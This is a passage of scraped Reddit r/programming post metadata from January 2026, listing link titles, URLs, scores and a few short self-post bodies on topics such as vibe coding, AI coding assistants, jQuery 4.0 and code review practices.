  "permalink": "https://www.reddit.com/r/programming/comments/1qhw9zg/a_hacker_is_making_a_list_of_vibecoded_apps_198/",
  "title": "A hacker is making a list of vibecoded apps, 198 scanned 196 with vulnerabilities",
  "body": null,
  "author": "[deleted]",
  "subreddit": "programming",
  "score": 681,
  "upvoteRatio": 0.92,
  "numComments": 159,
  "createdAt": "2026-01-20T09:09:56.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://firehound.covertlabs.io",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1qhunm9",
  "url": "https://github.com/xai-org/x-algorithm",
  "permalink": "https://www.reddit.com/r/programming/comments/1qhunm9/x_has_opensourced_their_new_𝕏_algorithm_powered/",
  "title": "X has open-sourced their new 𝕏 algorithm, powered by the same transformer architecture as xAI's Grok model.",
  "body": null,
  "author": "nix-solves-that-2317",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.36,
  "numComments": 2,
  "createdAt": "2026-01-20T07:30:10.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://github.com/xai-org/x-algorithm",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1qhq372",
  "url": "https://gitpush--force.com/commits/2026/01/meet-smolid/",
  "permalink": "https://www.reddit.com/r/programming/comments/1qhq372/i_decided_to_make_a_worse_uuid_for_the_pettiest/",
  "title": "I decided to make a worse UUID for the pettiest of reasons.",
  "body": null,
  "author": "theghostofm",
  "subreddit": "programming",
  "score": 361,
  "upvoteRatio": 0.93,
  "numComments": 69,
  "createdAt": "2026-01-20T03:33:32.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://gitpush--force.com/commits/2026/01/meet-smolid/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1qhecou",
  "url": "https://devclass.com/2026/01/08/tailwind-labs-lays-off-75-percent-of-its-engineers-thanks-to-brutal-impact-of-ai/",
  "permalink": "https://www.reddit.com/r/programming/comments/1qhecou/tailwind_labs_lays_off_75_percent_of_its/",
  "title": "Tailwind Labs lays off 75 percent of its engineers thanks to 'brutal impact' of AI",
  "body": null,
  "author": "CackleRooster",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.37,
  "numComments": 38,
  "createdAt": "2026-01-19T19:39:50.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://devclass.com/2026/01/08/tailwind-labs-lays-off-75-percent-of-its-engineers-thanks-to-brutal-impact-of-ai/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1qh2aij",
  "url": "https://instatunnel.my/blog/the-wasm-breach-escaping-backend-webassembly-sandboxes",
  "permalink": "https://www.reddit.com/r/programming/comments/1qh2aij/the_wasm_breach_escaping_backend_webassembly/",
  "title": "The Wasm Breach: Escaping Backend WebAssembly Sandboxes",
  "body": null,
  "author": "JadeLuxe",
  "subreddit": "programming",
  "score": 21,
  "upvoteRatio": 0.61,
  "numComments": 2,
  "createdAt": "2026-01-19T11:59:35.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://instatunnel.my/blog/the-wasm-breach-escaping-backend-webassembly-sandboxes",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1qg69su",
  "url": "https://strategizeyourcareer.com/p/the-7-deadly-sins-of-software-engineers-productivity",
  "permalink": "https://www.reddit.com/r/programming/comments/1qg69su/the_7_deadly_sins_of_software_engineers/",
  "title": "The 7 deadly sins of software engineers productivity",
  "body": null,
  "author": "strategizeyourcareer",
  "subreddit": "programming",
  "score": 378,
  "upvoteRatio": 0.84,
  "numComments": 70,
  "createdAt": "2026-01-18T11:27:52.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://strategizeyourcareer.com/p/the-7-deadly-sins-of-software-engineers-productivity",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1qg3rbf",
  "url": "https://alexharri.com/blog/ascii-rendering",
  "permalink": "https://www.reddit.com/r/programming/comments/1qg3rbf/ascii_characters_are_not_pixels_a_deep_dive_into/",
  "title": "ASCII characters are not pixels: a deep dive into ASCII rendering",
  "body": null,
  "author": "XLEX97",
  "subreddit": "programming",
  "score": 281,
  "upvoteRatio": 0.94,
  "numComments": 33,
  "createdAt": "2026-01-18T08:59:46.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://alexharri.com/blog/ascii-rendering",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1qg0p6p",
  "url": "https://optimizedbyotto.com/post/reasons-to-stop-using-mysql/",
  "permalink": "https://www.reddit.com/r/programming/comments/1qg0p6p/mysqls_popularity_as_ranked_by_dbengines_started/",
  "title": "MySQL’s popularity as ranked by DB-Engines started to tank hard, a trend that will likely accelerate in 2026.",
  "body": null,
  "author": "thehashimwarren",
  "subreddit": "programming",
  "score": 787,
  "upvoteRatio": 0.95,
  "numComments": 240,
  "createdAt": "2026-01-18T06:04:01.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://optimizedbyotto.com/post/reasons-to-stop-using-mysql/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1qfzyq8",
  "url": "https://www.theregister.com/2026/01/16/linus_torvalds_vibe_coding/?td=rt-3a",
  "permalink": "https://www.reddit.com/r/programming/comments/1qfzyq8/linus_may_vibe_code_but_that_doesnt_make_it_best/",
  "title": "Linus may vibe code, but that doesn't make it best practice",
  "body": null,
  "author": "Weekly-Ad7131",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.35,
  "numComments": 13,
  "createdAt": "2026-01-18T05:25:02.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.theregister.com/2026/01/16/linus_torvalds_vibe_coding/?td=rt-3a",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1qfxo89",
  "url": "https://blog.jquery.com/2026/01/17/jquery-4-0-0/",
  "permalink": "https://www.reddit.com/r/programming/comments/1qfxo89/jquery_40_released/",
  "title": "jQuery 4.0 released",
  "body": null,
  "author": "curiousdannii",
  "subreddit": "programming",
  "score": 479,
  "upvoteRatio": 0.95,
  "numComments": 129,
  "createdAt": "2026-01-18T03:31:22.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://blog.jquery.com/2026/01/17/jquery-4-0-0/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1qfgy7j",
  "url": "https://www.annashipman.co.uk/jfdi/engineer-exec-translation.html",
  "permalink": "https://www.reddit.com/r/programming/comments/1qfgy7j/the_engineer_to_executive_translation_layer/",
  "title": "The Engineer to Executive Translation Layer",
  "body": null,
  "author": "Ordinary_Leader_2971",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.5,
  "numComments": 0,
  "createdAt": "2026-01-17T16:02:20.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.annashipman.co.uk/jfdi/engineer-exec-translation.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1qfbw6x",
  "url": "https://npgsqlrest.github.io/blog/npgsqlrest-vs-postgrest-supabase-comparison.html",
  "permalink": "https://www.reddit.com/r/programming/comments/1qfbw6x/npgsqlrest_vs_postgrest_vs_supabase_complete/",
  "title": "NpgsqlRest vs PostgREST vs Supabase: Complete Feature Comparison",
  "body": null,
  "author": "vbilopav89",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.5,
  "numComments": 0,
  "createdAt": "2026-01-17T12:23:17.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://npgsqlrest.github.io/blog/npgsqlrest-vs-postgrest-supabase-comparison.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1qeqfmo",
  "url": "https://josezarazua.com/im-a-former-cto-here-is-the-15-sec-coding-test-i-used-to-instantly-filter-out-50-of-unqualified-applicants/",
  "permalink": "https://www.reddit.com/r/programming/comments/1qeqfmo/here_is_the_15_sec_coding_test_to_instantly/",
  "title": "Here is the 15 sec coding test to instantly filter out 50% of unqualified applicants by JOSE ZARAZUA",
  "body": null,
  "author": "RevillWeb",
  "subreddit": "programming",
  "score": 959,
  "upvoteRatio": 0.86,
  "numComments": 443,
  "createdAt": "2026-01-16T19:58:22.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://josezarazua.com/im-a-former-cto-here-is-the-15-sec-coding-test-i-used-to-instantly-filter-out-50-of-unqualified-applicants/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1qeotkj",
  "url": "https://embedding-shapes.github.io/cursor-implied-success-without-evidence/",
  "permalink": "https://www.reddit.com/r/programming/comments/1qeotkj/cursor_implied_success_without_evidence_not_one/",
  "title": "Cursor Implied Success Without Evidence | Not one of 100 selected commits even built",
  "body": null,
  "author": "xX_Negative_Won_Xx",
  "subreddit": "programming",
  "score": 970,
  "upvoteRatio": 0.96,
  "numComments": 243,
  "createdAt": "2026-01-16T18:57:57.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://embedding-shapes.github.io/cursor-implied-success-without-evidence/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1qdv6h0",
  "url": "https://spectrum.ieee.org/ai-coding-degrades",
  "permalink": "https://www.reddit.com/r/programming/comments/1qdv6h0/newer_ai_coding_assistants_are_failing_in/",
  "title": "Newer AI Coding Assistants Are Failing in Insidious Ways",
  "body": null,
  "author": "CackleRooster",
  "subreddit": "programming",
  "score": 464,
  "upvoteRatio": 0.9,
  "numComments": 188,
  "createdAt": "2026-01-15T20:42:25.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://spectrum.ieee.org/ai-coding-degrades",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1qdt9s5",
  "url": "https://gpfault.net/posts/drunk-exe.html",
  "permalink": "https://www.reddit.com/r/programming/comments/1qdt9s5/go_home_windows_exe_youre_drunk/",
  "title": "Go Home, Windows EXE, You're Drunk",
  "body": null,
  "author": "nicebyte",
  "subreddit": "programming",
  "score": 35,
  "upvoteRatio": 0.59,
  "numComments": 35,
  "createdAt": "2026-01-15T19:30:54.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://gpfault.net/posts/drunk-exe.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1qdredf",
  "url": "https://newsletter.techworld-with-milan.com/p/software-development-waste",
  "permalink": "https://www.reddit.com/r/programming/comments/1qdredf/software_development_waste/",
  "title": "Software Development Waste",
  "body": null,
  "author": "milanm08",
  "subreddit": "programming",
  "score": 1,
  "upvoteRatio": 0.54,
  "numComments": 1,
  "createdAt": "2026-01-15T18:23:23.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://newsletter.techworld-with-milan.com/p/software-development-waste",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1qdhcn5",
  "url": "https://nature-lang.org/news/20260115",
  "permalink": "https://www.reddit.com/r/programming/comments/1qdhcn5/nature_vs_golang_performance_benchmarking/",
  "title": "Nature vs Golang: Performance Benchmarking",
  "body": "I am the author of the nature programming language and you can ask me questions.",
  "author": "hualaka",
  "subreddit": "programming",
  "score": 4,
  "upvoteRatio": 0.59,
  "numComments": 22,
  "createdAt": "2026-01-15T11:43:35.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://nature-lang.org/news/20260115",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1qdg0ir",
  "url": "https://youtu.be/o3gmwzo-Mik?si=mjnimcBNYOY4bowE",
  "permalink": "https://www.reddit.com/r/programming/comments/1qdg0ir/ai_changes_nothing_dax_raad_opencode/",
  "title": "AI changes *Nothing* — Dax Raad, OpenCode",
  "body": null,
  "author": "dmahmouAli",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.45,
  "numComments": 0,
  "createdAt": "2026-01-15T10:25:08.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://youtu.be/o3gmwzo-Mik?si=mjnimcBNYOY4bowE",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1qd3mko",
  "url": "https://substack.com/home/post/p-184599371",
  "permalink": "https://www.reddit.com/r/programming/comments/1qd3mko/ken_thompson_rewrote_his_code_in_realtime_a/",
  "title": "Ken Thompson rewrote his code in real-time. A federal court said he co-created MP3. So why has no one heard of James D. Johnston?",
  "body": "In 1988, James D. Johnston at Bell Labs and Karlheinz Brandenburg in Germany independently invented perceptual audio coding - the science behind MP3. Brandenburg became famous. Johnston got erased from history. The evidence is wild: Brandenburg worked *at Bell Labs* with Johnston from 1989-1990 building what became MP3. A federal appeals court explicitly states they \"together\" created the standard. Ken Thompson - yes, *that* Ken Thompson - personally rewrote Johnston's PAC codec from Fortran to C in a week after Johnston explained the functions to him in real time, then declared it \"vastly superior to MP3.\" AT&T even had a working iPod competitor in 1998, killed it because \"nobody will ever sell music over the internet,\" and the prototype now sits in the Computer History Museum. I interviewed Johnston and dug through court records, patents, and Brandenburg's own interviews to piece together what actually happened. The IEEE calls Johnston \"the father of perceptual audio coding\" but almost no one knows his name.",
  "author": "Traditional_Rise_609",
  "subreddit": "programming",
  "score": 586,
  "upvoteRatio": 0.89,
  "numComments": 143,
  "createdAt": "2026-01-14T23:50:27.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://substack.com/home/post/p-184599371",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1qcyy22",
  "url": "https://shbhmrzd.github.io/software-engineering/best-practices/2026/01/14/pr-review-guidelines.html",
  "permalink": "https://www.reddit.com/r/programming/comments/1qcyy22/pr_review_guidelines_what_i_look_for_in_code/",
  "title": "PR Review Guidelines: What I Look For in Code Reviews",
  "body": "These are the notes I keep in my personal checklist when reviewing pull requests or submitting my own PRs.\n\nIt's not an exhaustive list and definitely not a strict doctrine. There are obviously times when we dial back thoroughness for quick POCs or some hotfixes under pressure.\n\nSharing it here in case it’s helpful for others. Feel free to take what works, ignore what doesn’t :)\n\n**1. Write in the natural style of the language you are using** \n\nEvery language has its own idioms and patterns i.e. a natural way of doing things. When you fight against these patterns by borrowing approaches from other languages or ecosystems, the code often ends up more verbose, harder to maintain, and sometimes less efficient.\n\nFor ex. \tRust prefers iterators over manual loops as iterators eliminate runtime bound checks because the compiler knows they won’t produce out-of-bounds indices.\n\n**2. Use Error Codes/Enums, Not String Messages** \n\nErrors should be represented as structured types i.e. enums in Rust, error codes in Java. When errors are just strings like \"Connection failed\" or \"Invalid request\", you lose the ability to programmatically distinguish between different failure modes. With error enums or codes, your observability stack gets structured data it can actually work with to track metrics by error type.\n\n**3. Structured Logging Over Print Statements**  \n\nLogs should be machine-parseable first, human-readable second. Use structured logging libraries that output JSON or key-value pairs, not println! or string concatenation. With unstructured logs, you end up writing fragile regex patterns, the data isn’t indexed, and you can’t aggregate or alert on specific fields. Every question requires a new grep pattern and manual counting.\n\n**4. Healthy Balance Between Readable Code and Optimization** \n\nDefault to readable and maintainable code, and optimize only when profiling shows a real bottleneck. Even then, preserve clarity where possible. Premature micro-optimizations often introduce subtle bugs and make future changes and debugging much slower.\n\n**5. Avoid Magic Numbers and Strings**\n\nLiteral values scattered throughout the code are hard to understand and dangerous to change. Future maintainers don’t know if the value is arbitrary, carefully tuned, or mandated by a spec. Extract them into named constants that explain their meaning and provide a single source of truth.\n\n**6. Comments Should Explain “Why”, Not “What”**\n\nGood code is self-documenting for the “what.” Comments should capture the reasoning, trade-offs, and context that aren’t obvious from the code itself.\n\n**7. Keep Changes Small and Focused**\n\nSmaller PRs are easier to understand. Reviewers can grasp the full context without cognitive overload. This enables faster cycles and quicker approvals.\n\nIf something breaks, bugs are easier to isolate. You can cherry-pick or revert a single focused change without undoing unrelated work. ",
  "author": "Normal-Tangelo-7120",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.43,
  "numComments": 0,
  "createdAt": "2026-01-14T20:47:49.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://shbhmrzd.github.io/software-engineering/best-practices/2026/01/14/pr-review-guidelines.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1qci8z5",
  "url": "https://tomrenner.com/posts/400-year-confidence-trick/",
  "permalink": "https://www.reddit.com/r/programming/comments/1qci8z5/llms_are_a_400yearlong_confidence_trick/",
  "title": "LLMs are a 400-year-long confidence trick",
  "body": "LLMs are an incredibly powerful tool, that do amazing things. But even so, they aren’t as fantastical as their creators would have you believe.\n\nI wrote this up because I was trying to get my head around why people are so happy to believe the answers LLMs produce, despite it being common knowledge that they hallucinate frequently.\n\nWhy are we happy living with this cognitive dissonance? How do so many companies plan to rely on a tool that is, by design, not reliable?",
  "author": "SwoopsFromAbove",
  "subreddit": "programming",
  "score": 525,
  "upvoteRatio": 0.76,
  "numComments": 342,
  "createdAt": "2026-01-14T08:43:49.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://tomrenner.com/posts/400-year-confidence-trick/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1qbrz59",
  "url": "https://medium.com/@a.mandyev/why-i-dont-trust-software-i-didn-t-suffer-for-bbf62ca3c832",
  "permalink": "https://www.reddit.com/r/programming/comments/1qbrz59/why_i_dont_trust_software_i_didnt_suffer_for/",
  "title": "Why I Don’t Trust Software I Didn’t Suffer For",
  "body": "I’ve been thinking a lot about why AI-generated software makes me uneasy, and it’s not about quality or correctness.\n\nI realized the discomfort comes from a deeper place: when humans write software, trust flows through the human. When machines write it, trust collapses into reliability metrics. And from experience, I know a system can be reliable and still not trustworthy.\nI wrote an essay exploring that tension: effort, judgment, ownership, and what happens when software exists before we’ve built any real intimacy with it.\n\nNot arguing that one is better than the other. Mostly trying to understand why I react the way I do  and whether that reaction still makes sense.\n\nCurious how others here think about trust vs reliability in this new context.",
  "author": "noscreenname",
  "subreddit": "programming",
  "score": 101,
  "upvoteRatio": 0.73,
  "numComments": 96,
  "createdAt": "2026-01-13T13:57:26.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://medium.com/@a.mandyev/why-i-dont-trust-software-i-didn-t-suffer-for-bbf62ca3c832",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1qbpqbo",
  "url": "https://l.perspectiveship.com/re-plla",
  "permalink": "https://www.reddit.com/r/programming/comments/1qbpqbo/your_estimates_take_longer_than_expected_even/",
  "title": "Your estimates take longer than expected, even when you account for them taking longer — Parkinson's & Hofstadter's Laws",
  "body": null,
  "author": "dmp0x7c5",
  "subreddit": "programming",
  "score": 474,
  "upvoteRatio": 0.93,
  "numComments": 71,
  "createdAt": "2026-01-13T12:12:38.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://l.perspectiveship.com/re-plla",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1qb6v0n",
  "url": "https://blog.stackademic.com/developer-guide-naming-conventions-a66203fd5665",
  "permalink": "https://www.reddit.com/r/programming/comments/1qb6v0n/a_developers_guide_to_naming_things_right/",
  "title": "A Developer’s Guide to Naming Things Right",
  "body": null,
  "author": "sparkestine",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.42,
  "numComments": 23,
  "createdAt": "2026-01-12T20:51:36.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://blog.stackademic.com/developer-guide-naming-conventions-a66203fd5665",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1qaroyn",
  "url": "https://lab174.com/blog/202601-yaml-norway/",
  "permalink": "https://www.reddit.com/r/programming/comments/1qaroyn/yaml_thats_norway_problem/",
  "title": "YAML? That’s Norway problem",
  "body": null,
  "author": "merelysounds",
  "subreddit": "programming",
  "score": 384,
  "upvoteRatio": 0.94,
  "numComments": 129,
  "createdAt": "2026-01-12T10:43:47.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://lab174.com/blog/202601-yaml-norway/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1qa0ujk",
  "url": "https://gist.github.com/richhickey/ea94e3741ff0a4e3af55b9fe6287887f",
  "permalink": "https://www.reddit.com/r/programming/comments/1qa0ujk/thanks_ai_rich_hickey_creator_of_clojure_about_ai/",
  "title": "Thanks AI! - Rich Hickey, creator of Clojure, about AI",
  "body": null,
  "author": "captvirk",
  "subreddit": "programming",
  "score": 830,
  "upvoteRatio": 0.92,
  "numComments": 126,
  "createdAt": "2026-01-11T14:35:41.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://gist.github.com/richhickey/ea94e3741ff0a4e3af55b9fe6287887f",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1q9qtx3",
  "url": "https://glama.ai/blog/2026-01-11-do-not-use-large-strings-as-cache-keys",
  "permalink": "https://www.reddit.com/r/programming/comments/1q9qtx3/when_caching_made_things_worse/",
  "title": "When Caching Made Things Worse",
  "body": null,
  "author": "Weary-Database-8713",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.37,
  "numComments": 19,
  "createdAt": "2026-01-11T05:19:18.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://glama.ai/blog/2026-01-11-do-not-use-large-strings-as-cache-keys",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1q9mu9t",
  "url": "https://www.pcloadletter.dev/blog/ai-features-for-no-one/",
  "permalink": "https://www.reddit.com/r/programming/comments/1q9mu9t/features_for_no_one_ai_edition/",
  "title": "Features for no one (AI edition)",
  "body": null,
  "author": "R2_SWE2",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.43,
  "numComments": 5,
  "createdAt": "2026-01-11T02:06:19.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.pcloadletter.dev/blog/ai-features-for-no-one/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1q9adyo",
  "url": "https://www.chrisgregori.dev/opinion/code-is-cheap-now-software-isnt",
  "permalink": "https://www.reddit.com/r/programming/comments/1q9adyo/code_is_cheap_now_software_isnt/",
  "title": "Code Is Cheap Now. Software Isn’t.",
  "body": null,
  "author": "bustyLaserCannon",
  "subreddit": "programming",
  "score": 288,
  "upvoteRatio": 0.89,
  "numComments": 45,
  "createdAt": "2026-01-10T17:44:23.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.chrisgregori.dev/opinion/code-is-cheap-now-software-isnt",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1q93k2q",
  "url": "https://omarabid.com/tailwind-ai",
  "permalink": "https://www.reddit.com/r/programming/comments/1q93k2q/llms_have_burned_billions_but_couldnt_build/",
  "title": "LLMs have burned Billions but couldn't build another Tailwind",
  "body": null,
  "author": "omarous",
  "subreddit": "programming",
  "score": 888,
  "upvoteRatio": 0.88,
  "numComments": 265,
  "createdAt": "2026-01-10T13:04:45.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://omarabid.com/tailwind-ai",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1q8vm5v",
  "url": "https://share.google/CPwNzKaB0G5UADxXN",
  "permalink": "https://www.reddit.com/r/programming/comments/1q8vm5v/replit_boss_ceos_can_vibe_code_their_own/",
  "title": "Replit boss: CEOs can vibe code their own prototypes and don't have to beg engineers for help anymore",
  "body": "This is a bit of a vent:\n\nI've said it before and I will die on this hill: vibe coding is absolute brain rot, and the fact that it's being implicated in the suggestion that CEOs can pay themselves more and hire fewer people is outrageous. I bet his code looks like absolute horseshit 🤣\n\n> Masad said many leaders feel \"disempowered because they've delegated a lot of things.\"\n\nBasically translates to: \"I'm can't be arsed to learn how to program :( \" \n\n> A rough prototype, Masad said, allows leaders to ask a pointed question: Why should this take weeks to build if a version can be done in a few days?\n\nAnd this is actually just insane. He clearly knows jack all about the general process of software development.\n\nAnyway, I always hated Repilit anyway ",
  "author": "chronically-iconic",
  "subreddit": "programming",
  "score": 2058,
  "upvoteRatio": 0.9,
  "numComments": 530,
  "createdAt": "2026-01-10T05:22:04.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://share.google/CPwNzKaB0G5UADxXN",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1q88buy",
  "url": "https://rushter.com/blog/zsh-shell/",
  "permalink": "https://www.reddit.com/r/programming/comments/1q88buy/you_probably_dont_need_oh_my_zsh/",
  "title": "You probably don't need Oh My Zsh",
  "body": null,
  "author": "f311a",
  "subreddit": "programming",
  "score": 339,
  "upvoteRatio": 0.74,
  "numComments": 299,
  "createdAt": "2026-01-09T13:32:25.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://rushter.com/blog/zsh-shell/",
